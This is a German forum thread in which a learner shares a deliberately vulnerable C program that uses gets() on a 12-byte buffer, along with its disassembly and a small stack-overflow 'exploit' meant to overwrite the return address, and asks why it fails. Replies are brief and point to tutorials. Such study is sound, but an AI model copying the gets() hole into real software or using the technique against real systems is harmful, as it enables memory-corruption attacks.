buffer overflows



  • moin,

    ich wollte mir mal das wesen der buffer overflows anschauen und schrieb dafür folgendes programm:

    #include <stdio.h>
    
    void overflow(void);
    void hack_pc(void);
    
    int main()
    {
            overflow();
            printf("This should go out");
            hack_pc(); // this should be never execute
            return 0;
    }
    
    void overflow(void)
    {
            char buffer[12];
            printf("Going for stdin: ");
            gets(buffer);
            printf("ur input: %s\n", buffer);
    }
    
    void hack_pc(void)
    {
            puts("\nu got hacked");
    }
    

    ich denkde der buffer overflow ist unübersehbar.

    so nun rufe ich das programm auf und gebe 20 zeichen ein ( der puffer ist 12 zeichen gross! ) aber ich kriege kein segfault ( imho erst ab >23 zeichen )

    alleine das finde ich schon unverständlich

    noch unverständlicher wirds wenn ich den exploit dafür schreibe

    erstmal disassemble ich das mit gdm

    Dump of assembler code for function main:
    0x80483c4 <main>: push %ebp
    0x80483c5 <main+1>: mov %esp,%ebp
    0x80483c7 <main+3>: sub $0x8,%esp
    0x80483ca <main+6>: and $0xfffffff0,%esp
    0x80483cd <main+9>: mov $0x0,%eax
    0x80483d2 <main+14>: sub %eax,%esp
    0x80483d4 <main+16>: call 0x80483f1 <overflow>
    0x80483d9 <main+21>: movl $0x8048544,(%esp,1)
    0x80483e0 <main+28>: call 0x80482ec <printf>
    0x80483e5 <main+33>: call 0x8048423 <hack_pc>
    0x80483ea <main+38>: mov $0x0,%eax
    0x80483ef <main+43>: leave
    0x80483f0 <main+44>: ret

    der exploit soll bewirken das hack_pc niemals aufgerufen wird, sondern das prog direkt beendet; ich will also das das prog bei 0x80483f0 ( letzte zeile ) weitermacht. der exploit sieht dann so aus

    #include <stdio.h>
    
    int main()
    {
            // Regulären Puffer füllen //
            printf("123456789abc");
    
            // Stack pointer überschreiben
            printf("ABCD");
    
            // Neue Rücksprungadresse
            printf("%c%c%c%c", 0xf0, 0x83, 0x04, 0x08);
            // raus das zeug
            fflush(stdout);
    
            return 0;
    }
    

    der aufruf:

    ./exploit | ./a.out
    Going for stdin: ur input: 123456789abcABCDð
    This should go out
    u got hacked

    1. wieso kommt das u got hacked, der sollte doch nach dem aufruf davon rurückkehren
    2. wieso kommt kein segfault?
    3. wieso funzt das ganze net 😃

    danke für jede hilfe



  • wieso ist mein posting so verkrüppelt? 😞



  • freeka schrieb:

    wieso ist mein posting so verkrüppelt? 😞

    kann das ein mod evtl richten? kann das ja net ma editieren



  • ?



  • Wenn du unbedingt Buffer Overflows schreiben willst, solltest du dir nochmal
    ein Tutorial durchlesen und dich intensiv mit dem Thema befassen.

    mfg
    v R



  • virtuell Realisticer schrieb:

    Wenn du unbedingt Buffer Overflows schreiben willst, solltest du dir nochmal
    ein Tutorial durchlesen und dich intensiv mit dem Thema befassen.

    mfg
    v R

    äh hab ich doch, oder meinste ich habe mir das da oben alles aus meinem türrahmen gehauen 😕



  • freeka schrieb:

    virtuell Realisticer schrieb:

    Wenn du unbedingt Buffer Overflows schreiben willst, solltest du dir nochmal
    ein Tutorial durchlesen und dich intensiv mit dem Thema befassen.

    mfg
    v R

    äh hab ich doch, oder meinste ich habe mir das da oben alles aus meinem türrahmen gehauen 😕

    So wuerde ich keinen Buffer Overflow schreiben.

    mfg
    v R



  • virtuell Realisticer schrieb:

    freeka schrieb:

    virtuell Realisticer schrieb:

    Wenn du unbedingt Buffer Overflows schreiben willst, solltest du dir nochmal
    ein Tutorial durchlesen und dich intensiv mit dem Thema befassen.

    mfg
    v R

    äh hab ich doch, oder meinste ich habe mir das da oben alles aus meinem türrahmen gehauen 😕

    So wuerde ich keinen Buffer Overflow schreiben.

    mfg
    v R

    wieso wo ist das problem? da ist doch ein ganz einfacher buffer overflow, in programmen wo man buffer overflows ausnutzen will kann man sich den auch nicht aussuchen.

    und falls du den exploit meinst: meinst du ich soll das so machen wie in "smashing the stuck for fun and profit"?

    ich habe dieses tagelang gelesen, und da ich momentan praktikum mache den ganzen tag vorm PC zeit. doch ich kann dieses tutorial nicht verstehen, schon garnicht die vorgehnsweise. ausserdem finde ich es blöd das exploit und buffer overflow am anfang immer in einem programm ist.

    daher versuche ich mir das an einem anderen tutorial beizubringen, was ich sehr gut versehe, nachvollziehen kann und auch sinn für mich macht.

    und so wie oben angegeben funktioniert es auch - bin etwas weiter gekommen, wenn ich zuhause bin werde ich mal code posten, wo ein exploit mit dem buffer overflow auf die oben geschriebene weise geht



  • Ist das das Tutorial von Astalavista?
    Wenn nicht, dann könnt ich dir das zukommen lassen,ist in deutsch.
    Habe leider den Link zur Site nicht, hab das nur auf meiner HDD.



  • nein das ist das tutorial von zotteljedi...

    kannst du mir das tutorial von dem du sprachest zukommen lassen?
    admin@pl-boards.de <- meine email adresse


Anmelden zum Antworten